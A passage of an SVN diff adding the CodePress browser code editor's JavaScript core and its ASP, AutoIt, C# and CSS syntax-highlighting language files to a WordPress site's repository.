+		editor = document.getElementsByTagName('body')[0];
+		document.designMode = 'on';
+		document.addEventListener('keyup', this.keyHandler, true);
+		window.addEventListener('scroll', function() { if(!CodePress.scrolling) CodePress.syntaxHighlight('scroll') }, false);
+		completeChars = this.getCompleteChars();
+//		CodePress.syntaxHighlight('init');
+	},
+
+	// treat key bindings
+	keyHandler : function(evt) {
+    	keyCode = evt.keyCode;	
+		charCode = evt.charCode;
+
+		if((evt.ctrlKey || evt.metaKey) && evt.shiftKey && charCode!=90)  { // shortcuts = ctrl||appleKey+shift+key!=z(undo) 
+			CodePress.shortcuts(charCode?charCode:keyCode);
+		}
+		else if(completeChars.indexOf('|'+String.fromCharCode(charCode)+'|')!=-1 && CodePress.autocomplete) { // auto complete
+			CodePress.complete(String.fromCharCode(charCode));
+		}
+	    else if(chars.indexOf('|'+charCode+'|')!=-1||keyCode==13) { // syntax highlighting
+		 	CodePress.syntaxHighlight('generic');
+		}
+		else if(keyCode==9 || evt.tabKey) {  // snippets activation (tab)
+			CodePress.snippets(evt);
+		}
+		else if(keyCode==46||keyCode==8) { // save to history when delete or backspace pressed
+		 	CodePress.actions.history[CodePress.actions.next()] = editor.innerHTML;
+		}
+		else if((charCode==122||charCode==121||charCode==90) && evt.ctrlKey) { // undo and redo
+			(charCode==121||evt.shiftKey) ? CodePress.actions.redo() :  CodePress.actions.undo(); 
+			evt.preventDefault();
+		}
+		else if(keyCode==86 && evt.ctrlKey)  { // paste
+			// TODO: pasted text should be parsed and highlighted
+		}
+	},
+
+	// put cursor back to its original position after every parsing
+	findString : function() {
+		var sel = window.getSelection();
+		var range = window.document.createRange();
+		var span = window.document.getElementsByTagName('span')[0];
+			
+		range.selectNode(span);
+		sel.removeAllRanges();
+		sel.addRange(range);
+		span.parentNode.removeChild(span);
+		//if(self.find(cc))
+		//window.getSelection().getRangeAt(0).deleteContents();
+	},
+	
+	// split big files, highlighting parts of it
+	split : function(code,flag) {
+		if(flag=='scroll') {
+			this.scrolling = true;
+			return code;
+		}
+		else {
+			this.scrolling = false;
+			mid = code.indexOf('<SPAN>');
+			if(mid-2000<0) {ini=0;end=4000;}
+			else if(mid+2000>code.length) {ini=code.length-4000;end=code.length;}
+			else {ini=mid-2000;end=mid+2000;}
+			code = code.substring(ini,end);
+			return code;
+		}
+	},
+	
+	// syntax highlighting parser
+	syntaxHighlight : function(flag) {
+		//if(document.designMode=='off') document.designMode='on'
+		if(flag!='init') {
+			var span = document.createElement('span');
+			window.getSelection().getRangeAt(0).insertNode(span);
+		}
+
+		o = editor.innerHTML;
+//		o = o.replace(/<br>/g,'\r\n');
+//		o = o.replace(/<(b|i|s|u|a|em|tt|ins|big|cite|strong)?>/g,'');
+		//alert(o)
+		o = o.replace(/<(?!span|\/span|br).*?>/gi,'');
+//		alert(o)
+//		x = o;
+		x = z = this.split(o,flag);
+		//alert(z)
+//		x = x.replace(/\r\n/g,'<br>');
+		x = x.replace(/\t/g, '        ');
+
+
+		if(arguments[1]&&arguments[2]) x = x.replace(arguments[1],arguments[2]);
+	
+		for(i=0;i<Language.syntax.length;i++) 
+			x = x.replace(Language.syntax[i].input,Language.syntax[i].output);
+
+		editor.innerHTML = this.actions.history[this.actions.next()] = (flag=='scroll') ? x : o.split(z).join(x); 
+
+		if(flag!='init') this.findString();
+	},
+	
+	getLastWord : function() {
+		var rangeAndCaret = CodePress.getRangeAndCaret();
+		words = rangeAndCaret[0].substring(rangeAndCaret[1]-40,rangeAndCaret[1]);
+		words = words.replace(/[\s\n\r\);\W]/g,'\n').split('\n');
+		return words[words.length-1].replace(/[\W]/gi,'').toLowerCase();
+	}, 
+	
+	snippets : function(evt) {
+		var snippets = Language.snippets;	
+		var trigger = this.getLastWord();
+		for (var i=0; i<snippets.length; i++) {
+			if(snippets[i].input == trigger) {
+				var content = snippets[i].output.replace(/</g,'&lt;');
+				content = content.replace(/>/g,'&gt;');
+				if(content.indexOf('$0')<0) content += cc;
+				else content = content.replace(/\$0/,cc);
+				content = content.replace(/\n/g,'<br>');
+				var pattern = new RegExp(trigger+cc,'gi');
+				evt.preventDefault(); // prevent the tab key from being added
+				this.syntaxHighlight('snippets',pattern,content);
+			}
+		}
+	},
+	
+	readOnly : function() {
+		document.designMode = (arguments[0]) ? 'off' : 'on';
+	},
+
+	complete : function(trigger) {
+		window.getSelection().getRangeAt(0).deleteContents();
+		var complete = Language.complete;
+		for (var i=0; i<complete.length; i++) {
+			if(complete[i].input == trigger) {
+				var pattern = new RegExp('\\'+trigger+cc);
+				var content = complete[i].output.replace(/\$0/g,cc);
+				parent.setTimeout(function () { CodePress.syntaxHighlight('complete',pattern,content)},0); // wait for char to appear on screen
+			}
+		}
+	},
+
+	getCompleteChars : function() {
+		var cChars = '';
+		for(var i=0;i<Language.complete.length;i++)
+			cChars += '|'+Language.complete[i].input;
+		return cChars+'|';
+	},
+
+	shortcuts : function() {
+		var cCode = arguments[0];
+		if(cCode==13) cCode = '[enter]';
+		else if(cCode==32) cCode = '[space]';
+		else cCode = '['+String.fromCharCode(charCode).toLowerCase()+']';
+		for(var i=0;i<Language.shortcuts.length;i++)
+			if(Language.shortcuts[i].input == cCode)
+				this.insertCode(Language.shortcuts[i].output,false);
+	},
+	
+	getRangeAndCaret : function() {	
+		var range = window.getSelection().getRangeAt(0);
+		var range2 = range.cloneRange();
+		var node = range.endContainer;			
+		var caret = range.endOffset;
+		range2.selectNode(node);	
+		return [range2.toString(),caret];
+	},
+	
+	insertCode : function(code,replaceCursorBefore) {
+		var range = window.getSelection().getRangeAt(0);
+		var node = window.document.createTextNode(code);
+		var selct = window.getSelection();
+		var range2 = range.cloneRange();
+		// Insert text at cursor position
+		selct.removeAllRanges();
+		range.deleteContents();
+		range.insertNode(node);
+		// Move the cursor to the end of text
+		range2.selectNode(node);		
+		range2.collapse(replaceCursorBefore);
+		selct.removeAllRanges();
+		selct.addRange(range2);
+	},
+	
+	// get code from editor
+	getCode : function() {
+		var code = editor.innerHTML;
+		code = code.replace(/<br>/g,'\n');
+		code = code.replace(/\u2009/g,'');
+		code = code.replace(/<.*?>/g,'');
+		code = code.replace(/&lt;/g,'<');
+		code = code.replace(/&gt;/g,'>');
+		code = code.replace(/&amp;/gi,'&');
+		return code;
+	},
+
+	// put code inside editor
+	setCode : function() {
+		var code = arguments[0];
+		code = code.replace(/\u2009/gi,'');
+		code = code.replace(/&/gi,'&amp;');
+       	code = code.replace(/</g,'&lt;');
+        code = code.replace(/>/g,'&gt;');
+		editor.innerHTML = code;
+	},
+
+	// undo and redo methods
+	actions : {
+		pos : -1, // actual history position
+		history : [], // history vector
+		
+		undo : function() {
+			if(editor.innerHTML.indexOf(cc)==-1){
+				window.getSelection().getRangeAt(0).insertNode(document.createTextNode(cc));
+			 	this.history[this.pos] = editor.innerHTML;
+			}
+			this.pos--;
+			if(typeof(this.history[this.pos])=='undefined') this.pos++;
+			editor.innerHTML = this.history[this.pos];
+			CodePress.findString();
+		},
+		
+		redo : function() {
+			this.pos++;
+			if(typeof(this.history[this.pos])=='undefined') this.pos--;
+			editor.innerHTML = this.history[this.pos];
+			CodePress.findString();
+		},
+		
+		next : function() { // get next vector position and clean old ones
+			if(this.pos>20) this.history[this.pos-21] = undefined;
+			return ++this.pos;
+		}
+	}
+}
+
+Language={};
+window.addEventListener('load', function() { CodePress.initialize('new'); }, true);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/asp.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/asp.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/asp.css	(revision 44)
@@ -0,0 +1,71 @@
+/*
+ * CodePress color styles for ASP-VB syntax highlighting
+ * By Martin D. Kirk
+ */
+/* tags */
+
+b {
+	color:#000080;
+} 
+/* comments */
+big, big b, big em, big ins, big s, strong i, strong i b, strong i s, strong i u, strong i a, strong i a u, strong i s u {
+	color:gray;
+	font-weight:normal;
+}
+/* ASP comments */
+strong dfn, strong dfn a,strong dfn var, strong dfn a u, strong dfn u{
+	color:gray;
+	font-weight:normal;
+}
+ /* attributes */ 
+s, s b, span s u, span s cite, strong span s {
+	color:#5656fa ;
+	font-weight:normal;
+}
+ /* strings */ 
+strong s,strong s b, strong s u, strong s cite {
+	color:#009900;
+	font-weight:normal;
+}
+strong ins{
+	color:#000000;
+	font-weight:bold;
+}
+ /* Syntax */
+strong a, strong a u {
+	color:#0000FF;
+	font-weight:;
+}
+ /* Native Keywords */
+strong u {
+	color:#990099;
+	font-weight:bold;
+}
+/* Numbers */
+strong var{
+	color:#FF0000;
+}
+/* ASP Language */
+span{
+	color:#990000;
+	font-weight:bold;
+}
+strong i,strong a i, strong u i {
+	color:#009999;
+}
+/* style */
+em {
+	color:#800080;
+	font-style:normal;
+}
+ /* script */ 
+ins {
+	color:#800000;
+	font-weight:bold;
+}
+
+/* <?php and ?> */
+cite, s cite {
+	color:red;
+	font-weight:bold;
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/asp.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/asp.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/asp.js	(revision 44)
@@ -0,0 +1,117 @@
+/*
+ * CodePress regular expressions for ASP-vbscript syntax highlighting
+ */
+
+// ASP VBScript
+Language.syntax = [
+// all tags
+	{ input : /(&lt;[^!%|!%@]*?&gt;)/g, output : '<b>$1</b>' }, 
+// style tags	
+	{ input : /(&lt;style.*?&gt;)(.*?)(&lt;\/style&gt;)/g, output : '<em>$1</em><em>$2</em><em>$3</em>' }, 
+// script tags	
+	{ input : /(&lt;script.*?&gt;)(.*?)(&lt;\/script&gt;)/g, output : '<ins>$1</ins><ins>$2</ins><ins>$3</ins>' }, 
+// strings "" and attributes
+	{ input : /\"(.*?)(\"|<br>|<\/P>)/g, output : '<s>"$1$2</s>' }, 
+// ASP Comment
+	{ input : /\'(.*?)(\'|<br>|<\/P>)/g, output : '<dfn>\'$1$2</dfn>'}, 
+// <%.*
+	{ input : /(&lt;%)/g, output : '<strong>$1' }, 
+// .*%>	
+	{ input : /(%&gt;)/g, output : '$1</strong>' }, 
+// <%@...%>	
+	{ input : /(&lt;%@)(.+?)(%&gt;)/gi, output : '$1<span>$2</span>$3' }, 
+//Numbers	
+	{ input : /\b([\d]+)\b/g, output : '<var>$1</var>' }, 
+// Reserved Words 1 (Blue)
+	{ input : /\b(And|As|ByRef|ByVal|Call|Case|Class|Const|Dim|Do|Each|Else|ElseIf|Empty|End|Eqv|Exit|False|For|Function)\b/gi, output : '<a>$1</a>' }, 
+	{ input : /\b(Get|GoTo|If|Imp|In|Is|Let|Loop|Me|Mod|Enum|New|Next|Not|Nothing|Null|On|Option|Or|Private|Public|ReDim|Rem)\b/gi, output : '<a>$1</a>' }, 
+	{ input : /\b(Resume|Select|Set|Stop|Sub|Then|To|True|Until|Wend|While|With|Xor|Execute|Randomize|Erase|ExecuteGlobal|Explicit|step)\b/gi, output : '<a>$1</a>' }, 
+// Reserved Words 2 (Purple)	
+	{ input : /\b(Abandon|Abs|AbsolutePage|AbsolutePosition|ActiveCommand|ActiveConnection|ActualSize|AddHeader|AddNew|AppendChunk)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(AppendToLog|Application|Array|Asc|Atn|Attributes|BeginTrans|BinaryRead|BinaryWrite|BOF|Bookmark|Boolean|Buffer|Byte)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(CacheControl|CacheSize|Cancel|CancelBatch|CancelUpdate|CBool|CByte|CCur|CDate|CDbl|Charset|Chr|CInt|Clear)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(ClientCertificate|CLng|Clone|Close|CodePage|CommandText|CommandType|CommandTimeout|CommitTrans|CompareBookmarks|ConnectionString|ConnectionTimeout)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(Contents|ContentType|Cookies|Cos|CreateObject|CreateParameter|CSng|CStr|CursorLocation|CursorType|DataMember|DataSource|Date|DateAdd|DateDiff)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(DatePart|DateSerial|DateValue|Day|DefaultDatabase|DefinedSize|Delete|Description|Double|EditMode|Eof|EOF|err|Error)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(Exp|Expires|ExpiresAbsolute|Filter|Find|Fix|Flush|Form|FormatCurrency|FormatDateTime|FormatNumber|FormatPercent)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(GetChunk|GetLastError|GetRows|GetString|Global|HelpContext|HelpFile|Hex|Hour|HTMLEncode|IgnoreCase|Index|InStr|InStrRev)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(Int|Integer|IsArray|IsClientConnected|IsDate|IsolationLevel|Join|LBound|LCase|LCID|Left|Len|Lock|LockType|Log|Long|LTrim)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(MapPath|MarshalOptions|MaxRecords|Mid|Minute|Mode|Month|MonthName|Move|MoveFirst|MoveLast|MoveNext|MovePrevious|Name|NextRecordset)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(Now|Number|NumericScale|ObjectContext|Oct|Open|OpenSchema|OriginalValue|PageCount|PageSize|Pattern|PICS|Precision|Prepared|Property)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(Provider|QueryString|RecordCount|Redirect|RegExp|Remove|RemoveAll|Replace|Requery|Request|Response|Resync|Right|Rnd)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(RollbackTrans|RTrim|Save|ScriptTimeout|Second|Seek|Server|ServerVariables|Session|SessionID|SetAbort|SetComplete|Sgn)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(Sin|Size|Sort|Source|Space|Split|Sqr|State|StaticObjects|Status|StayInSync|StrComp|String|StrReverse|Supports|Tan|Time)\b/gi, output : '<u>$1</u>' },
+	{ input : /\b(Timeout|Timer|TimeSerial|TimeValue|TotalBytes|Transfer|Trim|Type|Type|UBound|UCase|UnderlyingValue|UnLock|Update|UpdateBatch)\b/gi, output : '<u>$1</u>' }, 
+	{ input : /\b(URLEncode|Value|Value|Version|Weekday|WeekdayName|Write|Year)\b/gi, output : '<u>$1</u>' }, 
+// Reserved Words 3 (Turquis)
+	{ input : /\b(vbBlack|vbRed|vbGreen|vbYellow|vbBlue|vbMagenta|vbCyan|vbWhite|vbBinaryCompare|vbTextCompare)\b/gi, output : '<i>$1</i>' }, 
+  	{ input : /\b(vbSunday|vbMonday|vbTuesday|vbWednesday|vbThursday|vbFriday|vbSaturday|vbUseSystemDayOfWeek)\b/gi, output : '<i>$1</i>' }, 
+	{ input : /\b(vbFirstJan1|vbFirstFourDays|vbFirstFullWeek|vbGeneralDate|vbLongDate|vbShortDate|vbLongTime|vbShortTime)\b/gi, output : '<i>$1</i>' }, 
+	{ input : /\b(vbObjectError|vbCr|VbCrLf|vbFormFeed|vbLf|vbNewLine|vbNullChar|vbNullString|vbTab|vbVerticalTab|vbUseDefault|vbTrue)\b/gi, output : '<i>$1</i>' }, 
+	{ input : /\b(vbFalse|vbEmpty|vbNull|vbInteger|vbLong|vbSingle|vbDouble|vbCurrency|vbDate|vbString|vbObject|vbError|vbBoolean|vbVariant)\b/gi, output : '<i>$1</i>' }, 
+	{ input : /\b(vbDataObject|vbDecimal|vbByte|vbArray)\b/gi, output : '<i>$1</i>' },
+// html comments
+	{ input : /(&lt;!--.*?--&gt.)/g, output : '<big>$1</big>' } 
+]
+
+Language.Functions = [ 
+  	// Output at index 0, must be the desired tagname surrounding a $1
+	// Name is the index from the regex that marks the functionname
+	{input : /(function|sub)([ ]*?)(\w+)([ ]*?\()/gi , output : '<ins>$1</ins>', name : '$3'}
+]
+
+Language.snippets = [
+//Conditional
+	{ input : 'if', output : 'If $0 Then\n\t\nEnd If' },
+	{ input : 'ifelse', output : 'If $0 Then\n\t\n\nElse\n\t\nEnd If' },
+	{ input : 'case', output : 'Select Case $0\n\tCase ?\n\tCase Else\nEnd Select'},
+//Response
+	{ input : 'rw', output : 'Response.Write( $0 )' },
+	{ input : 'resc', output : 'Response.Cookies( $0 )' },
+	{ input : 'resb', output : 'Response.Buffer'},
+	{ input : 'resflu', output : 'Response.Flush()'},
+	{ input : 'resend', output : 'Response.End'},
+//Request
+	{ input : 'reqc', output : 'Request.Cookies( $0 )' },
+	{ input : 'rq', output : 'Request.Querystring("$0")' },
+	{ input : 'rf', output : 'Request.Form("$0")' },
+//FSO
+	{ input : 'fso', output : 'Set fso = Server.CreateObject("Scripting.FileSystemObject")\n$0' },
+	{ input : 'setfo', output : 'Set fo = fso.getFolder($0)' },
+	{ input : 'setfi', output : 'Set fi = fso.getFile($0)' },
+	{ input : 'twr', output : 'Set f = fso.CreateTextFile($0,true)\'overwrite\nf.WriteLine()\nf.Close'},
+	{ input : 'tre', output : 'Set f = fso.OpenTextFile($0, 1)\nf.ReadAll\nf.Close'},
+//Server
+	{ input : 'mapp', output : 'Server.Mappath($0)' },
+//Loops
+	{ input : 'foreach', output : 'For Each $0 in ?\n\t\nNext' },
+	{ input : 'for', output : 'For $0 to ? step ?\n\t\nNext' },
+	{ input : 'do', output : 'Do While($0)\n\t\nLoop' },
+	{ input : 'untilrs', output : 'do until rs.eof\n\t\nrs.movenext\nloop' },
+//ADO
+	{ input : 'adorec', output : 'Set rs = Server.CreateObject("ADODB.Recordset")' },
+	{ input : 'adocon', output : 'Set Conn = Server.CreateObject("ADODB.Connection")' },
+	{ input : 'adostr', output : 'Set oStr = Server.CreateObject("ADODB.Stream")' },
+//Http Request
+	{ input : 'xmlhttp', output : 'Set xmlHttp = Server.CreateObject("Microsoft.XMLHTTP")\nxmlHttp.open("GET", $0, false)\nxmlHttp.send()\n?=xmlHttp.responseText' },
+	{ input : 'xmldoc', output : 'Set xmldoc = Server.CreateObject("Microsoft.XMLDOM")\nxmldoc.async=false\nxmldoc.load(request)'},
+//Functions
+	{ input : 'func', output : 'Function $0()\n\t\n\nEnd Function'},
+	{ input : 'sub', output : 'Sub $0()\n\t\nEnd Sub'}
+
+]
+
+Language.complete = [
+	//{ input : '\'', output : '\'$0\'' },
+	{ input : '"', output : '"$0"' },
+	{ input : '(', output : '\($0\)' },
+	{ input : '[', output : '\[$0\]' },
+	{ input : '{', output : '{\n\t$0\n}' }		
+]
+
+Language.shortcuts = [
+	{ input : '[space]', output : '&nbsp;' },
+	{ input : '[enter]', output : '<br />' } ,
+	{ input : '[j]', output : 'testing' },
+	{ input : '[7]', output : '&amp;' }
+]
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/autoit.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/autoit.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/autoit.css	(revision 44)
@@ -0,0 +1,13 @@
+/**
+ * CodePress color styles for AutoIt syntax highlighting
+ */
+
+u {font-style:normal;color:#000090;font-weight:bold;font-family:Monospace;}
+var {color:#AA0000;font-weight:bold;font-style:normal;}
+em {color:#FF33FF;}
+ins {color:#AC00A9;}
+i {color:#F000FF;}
+b {color:#FF0000;}
+a {color:#0080FF;font-weight:bold;}
+s, s u, s b {color:#9999CC;font-weight:normal;}
+cite, cite *{color:#009933;font-weight:normal;}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/autoit.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/autoit.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/autoit.js	(revision 44)
@@ -0,0 +1,32 @@
+/**
+ * CodePress regular expressions for AutoIt syntax highlighting
+ * @author: James Brooks, Michael HURNI
+ */ 
+ 
+// AutoIt 
+Language.syntax = [  
+    { input : /({|}|\(|\))/g, output : '<b>$1</b>' }, // Brackets
+	{ input : /(\*|\+|-)/g, output : '<b>$1</b>' }, // Operator
+	{ input : /\"(.*?)(\"|<br>|<\/P>)/g, output : "<s>\"$1$2</s>" }, // strings double 
+	{ input : /\'(.*?)(\'|<br>|<\/P>)/g, output : '<s>\'$1$2</s>' }, // strings single  
+	{ input : /\b([\d]+)\b/g, output : '<ins>$1</ins>' }, // Numbers 
+	{ input : /#(.*?)(<br>|<\/P>)/g, output : '<i>#$1</i>$2' }, // Directives and Includes 
+	{ input : /(\$[\w\.]*)/g, output : '<var>$1</var>' }, // vars
+	{ input : /(_[\w\.]*)/g, output : '<a>$1</a>' }, // underscored word
+	{ input : /(\@[\w\.]*)/g, output : '<em>$1</em>' }, // Macros
+	{ input : /\b(Abs|ACos|AdlibDisable|AdlibEnable|Asc|AscW|ASin|Assign|ATan|AutoItSetOption|AutoItWinGetTitle|AutoItWinSetTitle|Beep|Binary|BinaryLen|BinaryMid|BinaryToString|BitAND|BitNOT|BitOR|BitSHIFT|BitXOR|BlockInput|Break|Call|CDTray|Ceiling|Chr|ChrW|ClipGet|ClipPut|ConsoleRead|ConsoleWrite|ConsoleWriteError|ControlClick|ControlCommand|ControlDisable|ControlEnable|ControlFocus|ControlGetFocus|ControlGetHandle|ControlGetPos|ControlGetText|ControlHide|ControlListView|ControlMove|ControlSend|ControlSetText|ControlShow|Cos|Dec|DirCopy|DirCreate|DirGetSize|DirMove|DirRemove|DllCall|DllCall|DllClose|DllOpen|DllStructCreate|DllStructGetData|DllStructGetPtr|DllStructGetSize|DllStructSetData|DriveGetDrive|DriveGetFileSystem|DriveGetLabel|DriveGetSerial|DriveGetType|DriveMapAdd|DriveMapDel|DriveMapGet|DriveSetLabel|DriveSpaceFree|DriveSpaceTotal|DriveStatus|EnvGet|EnvSet|EnvUpdate|Eval|Execute|Exp|FileChangeDir|FileClose|FileCopy|FileCreateNTFS|FileCreateShortcut|FileDelete|FileExists|FileFindFirstFile|FileFindNextFile|FileGetAttrib|FileGetLongName|FileGetShortcut|FileGetShortName|FileGetSize|FileGetTime|FileGetVersion|FileInstall|FileMove|FileOpen|FileOpenDialog|FileRead|FileReadLine|FileRecycle|FileRecycleEmpty|FileSaveDialog|FileSelectFolder|FileSetAttrib|FileSetTime|FileWrite|FileWriteLine|Floor|FtpSetProxy|GuiCreate|GuiCtrlCreateAvi|GuiCtrlCreateButton|GuiCtrlCreateCheckbox|GuiCtrlCreateCombo|GuiCtrlCreateContextMenu|GuiCtrlCreateDate|GuiCtrlCreateDummy|GuiCtrlCreateEdit|GuiCtrlCreateGraphic|GuiCtrlCreateGroup|GuiCtrlCreateIcon|GuiCtrlCreateInput|GuiCtrlCreateLabel|GuiCtrlCreateList|GuiCtrlCreateListView|GuiCtrlCreateListViewItem|GuiCtrlCreateMenu|GuiCtrlCreateMenuItem|GuiCtrlCreateMonthCal|GuiCtrlCreateObj|GuiCtrlCreatePic|GuiCtrlCreateProgress|GuiCtrlCreateRadio|GuiCtrlCreateSlider|GuiCtrlCreateTab|GuiCtrlCreateTabItem|GuiCtrlCreateUpdown|GuiCtrlDelete|GuiCtrlGetHandle|GuiCtrlGetState|GuiCtrlRead|GuiCtrlRecvMsg|GuiCtrlSentMsg|GuiCtrlSendToDummy|GuiCtrlSetBkColor|GuiCtrlSetColor|GuiCtrlSetCursor|GuiCtrlSetData|GuiCtrlSetFont|GuiCtrlSetGraphic|GuiCtrlSetImage|GuiCtrlSetLimit|GuiCtrlSetOnEvent|GuiCtrlSetPos|GuiCtrlResizing|GuiCtrlSetState|GuiCtrlSetTip|GuiDelete|GuiGetCursorInfo|GuiGetMsg|GuiGetStyle|GuiRegisterMsg|GuiSetBkColor|GuiSetCoord|GuiSetCursor|GuiSetFont|GuiSetHelp|GuiSetIcon|GuiSetOnEvent|GuiSetStat|GuiSetStyle|GuiStartGroup|GuiSwitch|Hex|HotKeySet|HttpSetProxy|HWnd|InetGet|InetGetSize|IniDelete|IniRead|IniReadSection|IniReadSectionNames|IniRenameSection|IniWrite|IniWriteSection|InputBox|Int|IsAdmin|IsArray|IsBinary|IsBool|IsDeclared|IsDllStruct|IsFloat|IsHWnd|IsInt|IsKeyword|IsNumber|IsObj|IsString|Log|MemGetStats|Mod|MouseClick|MouseClickDrag|MouseDown|MouseGetCursor|MouseGetPos|MouseMove|MouseUp|MouseWheel|MsgBox|Number|ObjCreate|ObjEvent|ObjGet|ObjName|Ping|PixelCheckSum|PixelGetColor|PixelSearch|ProcessClose|ProcessExists|ProcessList|ProcessSetPriority|ProcessWait|ProcessWaitClose|ProgressOff|ProcessOn|ProgressSet|Random|RegDelete|RegEnumKey|RegEnumVal|RegRead|RegWrite|Round|Run|RunAsSet|RunWait|Send|SetError|SetExtended|ShellExecute|ShellExecuteWait|Shutdown|Sin|Sleep|SoundPlay|SoundSetWaveVolume|SplashImageOn|SplashOff|SplashTextOn|Sqrt|SRandom|StatusbarGetText|StderrRead|StdinWrite|StdoutRead|String|StringAddCR|StringCompare|StringFormat|StringInStr|StringIsAlNum|StringIsAlpha|StringIsASCII|StringIsDigit|StringIsFloat|StringIsInt|StringIsLower|StringIsSpace|StringIsUpper|StringIsXDigit|StringLeft|StringLen|StringLower|StringMid|StringRegExp|StringRegExpReplace|StringReplace|StringRight|StringSplit|StringStripCR|StringStripWS|StringToBinary|StringTrimLeft|StringTrimRight|StringUpper|Tan|TCPAccept|TCPCloseSocket|TCPConnect|TCPListen|TCPNameToIP|TCPrecv|TCPSend|TCPShutdown|TCPStartup|TimerDiff|TimerInit|ToolTip|TrayCreateItem|TrayCreateMenu|TrayGetMenu|TrayGetMsg|TrayItemDelete|TrayItemGetHandle|TrayItemGetState|TrayItemGetText|TrayItemSetOnEvent|TrayItemSetState|TrayItemSetText|TraySetClick|TraySetIcon|TraySetOnEvent|TraySetPauseIcon|TraySetState|TraySetToolTip|TrayTip|UBound|UDPBind|UDPCloseSocket|UDPOpen|UDPRecv|UDPSend|WinActivate|WinActive|WinClose|WinExists|WinFlash|WinGetCaretPos|WinGetClassList|WinGetClientSize|WinGetHandle|WinGetPos|WinGetProcess|WinGetState|WinGetText|WinGetTitle|WinKill|WinList|WinMenuSelectItem|WinMinimizeAll|WinMinimizeAllUndo|WinMove|WinSetOnTop|WinSetState|WinSetTitle|WinSetTrans|WinWait|WinWaitActive|WinWaitClose|WinWaitNotActive)\b/g, output : '<u>$1</u>' } ,// reserved words
+	{ input : /\B;(.*?)(<br>|<\/P>)/g, output : '<cite>;$1</cite>$2' }, // comments 
+	{ input : /#CS(.*?)#CE/g, output : '<cite>#CS$1#CE</cite>' } // Block Comments
+] 
+ 
+Language.snippets = [] 
+ 
+Language.complete = [ 
+{ input : '\'',output : '\'$0\'' }, 
+{ input : '"', output : '"$0"' }, 
+{ input : '(', output : '\($0\)' }, 
+{ input : '[', output : '\[$0\]' }, 
+{ input : '{', output : '{\n\t$0\n}' } 
+] 
+ 
+Language.shortcuts = [] 
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/csharp.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/csharp.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/csharp.css	(revision 44)
@@ -0,0 +1,9 @@
+/*
+ * CodePress color styles for Java syntax highlighting
+ * By Edwin de Jonge
+ */
+
+b {color:#7F0055;font-weight:bold;font-style:normal;} /* reserved words */
+a {color:#2A0088;font-weight:bold;font-style:normal;} /* types */
+i, i b, i s {color:#3F7F5F;font-weight:bold;} /* comments */
+s, s b {color:#2A00FF;font-weight:normal;} /* strings */
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/csharp.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/csharp.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/csharp.js	(revision 44)
@@ -0,0 +1,25 @@
+/*
+ * CodePress regular expressions for C# syntax highlighting
+ * By Edwin de Jonge
+ */
+ 
+Language.syntax = [ // C#
+	{ input : /\"(.*?)(\"|<br>|<\/P>)/g, output : '<s>"$1$2</s>' }, // strings double quote
+	{ input : /\'(.?)(\'|<br>|<\/P>)/g, output : '<s>\'$1$2</s>' }, // strings single quote 
+	{ input : /\b(abstract|as|base|break|case|catch|checked|continue|default|delegate|do|else|event|explicit|extern|false|finally|fixed|for|foreach|get|goto|if|implicit|in|interface|internal|is|lock|namespace|new|null|object|operator|out|override|params|partial|private|protected|public|readonly|ref|return|set|sealed|sizeof|static|stackalloc|switch|this|throw|true|try|typeof|unchecked|unsafe|using|value|virtual|while)\b/g, output : '<b>$1</b>' }, // reserved words
+	{ input : /\b(bool|byte|char|class|double|float|int|interface|long|string|struct|void)\b/g, output : '<a>$1</a>' }, // types
+	{ input : /([^:]|^)\/\/(.*?)(<br|<\/P)/g, output : '$1<i>//$2</i>$3' }, // comments //	
+	{ input : /\/\*(.*?)\*\//g, output : '<i>/*$1*/</i>' } // comments /* */
+];
+
+Language.snippets = [];
+
+Language.complete = [ // Auto complete only for 1 character
+	{input : '\'',output : '\'$0\'' },
+	{input : '"', output : '"$0"' },
+	{input : '(', output : '\($0\)' },
+	{input : '[', output : '\[$0\]' },
+	{input : '{', output : '{\n\t$0\n}' }		
+];
+
+Language.shortcuts = [];
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/css.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/css.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/languages/css.css	(revision 44)
@@ -0,0 +1,10 @@
+/*
+ * CodePress color styles for CSS syntax highlighting
+ */
+
+b, b a, b u {color:#000080;} /* tags, ids, classes */
+i, i b, i s, i a, i u {color:gray;} /* comments */
